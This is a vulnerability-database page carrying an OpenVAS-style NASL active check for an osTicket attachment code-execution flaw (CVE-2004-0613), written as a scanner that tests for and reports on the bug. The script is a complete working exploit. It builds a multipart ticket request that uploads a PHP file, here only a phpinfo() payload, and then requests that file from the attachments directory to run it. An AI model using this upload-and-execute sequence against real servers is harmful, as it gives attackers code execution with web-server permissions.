7 High
AI Score
Confidence
Low
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.117 Low
EPSS
Percentile
95.3%
The target is running at least one instance of osTicket that
enables a remote user to open a new ticket with an attachment containing arbitrary PHP code and
then to run that code using the permissions of the web server user.
# Copyright (C) 2005 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
CPE = "cpe:/a:osticket:osticket";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.13645");
script_version("2022-05-05T09:07:46+0000");
script_tag(name:"last_modification", value:"2022-05-05 09:07:46 +0000 (Thu, 05 May 2022)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_cve_id("CVE-2004-0613");
script_tag(name:"qod_type", value:"remote_app");
script_tag(name:"solution_type", value:"VendorFix");
script_name("osTicket < 1.2.7 Attachment Code Execution Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("Web application abuses");
script_dependencies("osticket_http_detect.nasl", "no404.nasl");
script_mandatory_keys("osticket/http/detected");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"The target is running at least one instance of osTicket that
enables a remote user to open a new ticket with an attachment containing arbitrary PHP code and
then to run that code using the permissions of the web server user.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks the response.");
script_tag(name:"solution", value:"Apply FileTypes patch or update to osTicket STS 1.2.7 or
later.");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit(0);
if( dir == "/" )
dir = "";
url = dir + "/open.php";
req = http_get( item:url, port:port);
res = http_keepalive_send_recv( port:port, data:req );
if( isnull( res ) )
exit( 0 );
host = http_host_name( port:port );
mailHost = get_host_name();
if( http_get_no404_string( port:port, host:mailHost ) )
exit( 0 );
# If the form supports attachments...
if( egrep( pattern:'type="file" name="attachment"', string:res, icase:TRUE ) ) {
# Grab the session cookie.
pat = "Set-Cookie: (.+); path=";
matches = egrep( pattern:pat, string:res, icase:TRUE );
foreach match( split( matches ) ) {
match = chomp( match );
cookie = eregmatch( pattern:pat, string:match );
if( isnull( cookie ) )
break;
cookie = cookie[1];
}
# Open a ticket as long as we have a session cookie.
if( cookie ) {
boundary = "bound";
req = string("POST ", url, " HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"Cookie: ", cookie, "\r\n",
"Content-Type: multipart/form-data; boundary=", boundary, "\r\n");
# nb: we'll add the Content-Length header and post data later.
boundary = string("--", boundary);
postdata = string(boundary, "\r\n",
'Content-Disposition: form-data; name="name"', "\r\n",
"\r\n",
"vttest\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="email"', "\r\n",
"\r\n",
"postmaster@", mailHost, "\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="phone"', "\r\n",
"\r\n",
"\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="cat"', "\r\n",
"\r\n",
"4\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="subject"', "\r\n",
"\r\n",
"Attachment Upload Test\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="message"', "\r\n",
"\r\n",
"Attempt to open a ticket and attach a file with executable code.\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="pri"', "\r\n",
"\r\n",
"1\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="MAX_FILE_SIZE"', "\r\n",
"\r\n",
"1048576\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="attachment"; filename="exploit.php"', "\r\n",
"Content-Type: text/plain\r\n",
"\r\n",
# NB: This is the actual exploit code; you could put pretty much anything you want here.
"<?php phpinfo() ?>\r\n",
boundary, "\r\n",
'Content-Disposition: form-data; name="submit_x"', "\r\n",
"\r\n",
"Open Ticket\r\n",
boundary, "--", "\r\n");
req = string(req, "Content-Length: ", strlen(postdata), "\r\n", "\r\n", postdata);
res = http_keepalive_send_recv( port:port, data:req );
if( isnull( res ) )
exit( 0 );
# Grab the ticket number that was issued.
pat = 'name="login_ticket" .+ value="(.+)">';
if( matches = egrep(pattern:pat, string:res, icase:TRUE ) ) {
foreach match( split( matches ) ) {
match = chomp( match );
ticket = eregmatch( pattern:pat, string:match );
if( isnull( ticket ) )
break;
ticket = ticket[1];
}
if( ticket ) {
# Run the attachment we just uploaded.
url = dir + "/attachments/" + ticket + "_exploit.php";
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
if( isnull( res ) )
exit( 0 );
if( egrep( pattern:"^HTTP/1\.[01] 200", string:res, icase:TRUE ) ) {
desc = "The Scanner successfully opened ticket #" + ticket + ' and uploaded\n' +
"an exploit as " + ticket + "_exploit.php to osTicket's attachment" + '\n' +
'directory. You are strongly encouraged to delete this attachment\n' +
'as soon as possible as it can be run by anyone who accesses.\n' +
'it remotely.';
security_message( port:port, data:desc );
exit( 0 );
}
}
}
}
}
exit( 99 );